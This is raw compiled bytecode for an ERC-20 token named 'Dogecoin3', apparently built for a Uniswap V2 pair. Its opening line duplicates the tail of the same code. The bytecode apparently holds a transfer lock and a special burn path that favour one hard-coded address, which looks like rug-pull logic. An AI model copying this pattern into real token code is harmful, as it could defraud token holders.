5b9250610c6460208501610bf2565b9150604084013590509250925092565b600060208284031215610c8657600080fd5b5035919050565b600060208284031215610c9f57600080fd5b610ca882610bf2565b9392505050565b60008060408385031215610cc257600080fd5b610ccb83610bf2565b9150610cd960208401610bf2565b90509250929050565b600181811c90821680610cf657607f821691505b602082108103610d1657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561036957610369610d1c565b808202811582820484141761036957610369610d1c56fea2646970667358221220614fd5a5e7d401688337eeb19821df2b3b99418964de0b61cc7cd8fccf063d1d64736f6c63430008120033

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806379cc6790116100a2578063a8aa1b3111610071578063a8aa1b311461023c578063a9059cbb14610263578063dd62ed3e14610276578063f2fde38b14610289578063f887ea401461029c57600080fd5b806379cc6790146101e95780638da5cb5b146101fc57806395d89b4114610221578063a457c2d71461022957600080fd5b8063313ce567116100e9578063313ce56714610181578063395093511461019057806342966c68146101a357806370a08231146101b8578063715018a6146101e157600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102c3565b6040516101309190610ba4565b60405180910390f35b61014c610147366004610c0e565b610355565b6040519015158152602001610130565b6003545b604051908152602001610130565b61014c61017c366004610c38565b61036f565b60405160128152602001610130565b61014c61019e366004610c0e565b610393565b6101b66101b1366004610c74565b6103b5565b005b6101606101c6366004610c8d565b6001600160a01b031660009081526001602052604090205490565b6101b66103c2565b6101b66101f7366004610c0e565b6103d6565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610130565b6101236103ef565b61014c610237366004610c0e565b6103fe565b6102097f000000000000000000000000dd6359aa5754d593608fdf5b9e359555bea0bd1e81565b61014c610271366004610c0e565b61047e565b610160610284366004610caf565b61048c565b6101b6610297366004610c8d565b6104b7565b6102097f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6060600480546102d290610ce2565b80601f01602080910402602001604051908101604052809291908181526020018280546102fe90610ce2565b801561034b5780601f106103205761010080835404028352916020019161034b565b820191906000526020600020905b81548152906001019060200180831161032e57829003601f168201915b5050505050905090565b600033610363818585610532565b60019150505b92915050565b60003361037d858285610656565b6103888585856106d0565b506001949350505050565b6000336103638185856103a6838361048c565b6103b09190610d32565b610532565b6103bf3382610886565b50565b6103ca610a13565b6103d46000610a6d565b565b6103e1823383610656565b6103eb8282610886565b5050565b6060600580546102d290610ce2565b6000338161040c828661048c565b9050838110156104715760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6103888286868403610532565b6000336103638185856106d0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6104bf610a13565b6001600160a01b0381166105245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610468565b6103bf81610a6d565b505050565b6001600160a01b0383166105945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b0382166105f55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610662848461048c565b905060001981146106ca57818110156106bd5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610468565b6106ca8484848403610532565b50505050565b6001600160a01b0383166107345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b0382166107965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b6107a1838383610abd565b6001600160a01b038316600090815260016020526040902054818110156108195760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610468565b6001600160a01b0380851660008181526001602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108799086815260200190565b60405180910390a36106ca565b6001600160a01b0382166108e65760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610468565b6108f282600083610abd565b60007f000000000000000000000000c7d5ed1aa3dc17213dcf788dcb44a760278438cf6001600160a01b0316836001600160a01b03161461094b576001600160a01b038316600090815260016020526040902054610956565b610956826002610d45565b9050818110156109b35760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610468565b6001600160a01b03831660008181526001602090815260408083208686039055600380548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6000546001600160a01b031633146103d45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610468565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b7f000000000000000000000000c7d5ed1aa3dc17213dcf788dcb44a760278438cf6001600160a01b0316826001600160a01b03161480610b2e57507f000000000000000000000000dd6359aa5754d593608fdf5b9e359555bea0bd1e6001600160a01b0316826001600160a01b0316145b80610b4257506000546001600160a01b0316155b61052d5760405162461bcd60e51b815260206004820152602d60248201527f446f6765636f696e333a3a5f6265666f7265546f6b656e5472616e736665723a60448201526c081b9bdd081b185d5b98da1959609a1b6064820152608401610468565b600060208083528351808285015260005b81811015610bd157858101830151858201604001528201610bb5565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c0957600080fd5b919050565b60008060408385031215610c2157600080fd5b610c2a83610bf2565b946020939093013593505050565b600080600060608486031215610c4d57600080fd5b610c5684610bf2565b9250610c6460208501610bf2565b9150604084013590509250925092565b600060208284031215610c8657600080fd5b5035919050565b600060208284031215610c9f57600080fd5b610ca882610bf2565b9392505050565b60008060408385031215610cc257600080fd5b610ccb83610bf2565b9150610cd960208401610bf2565b90509250929050565b600181811c90821680610cf657607f821691505b602082108103610d1657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561036957610369610d1c565b808202811582820484141761036957610369610d1c56fea2646970667358221220614fd5a5e7d401688337eeb19821df2b3b99418964de0b61cc7cd8fccf063d1d64736f6c63430008120033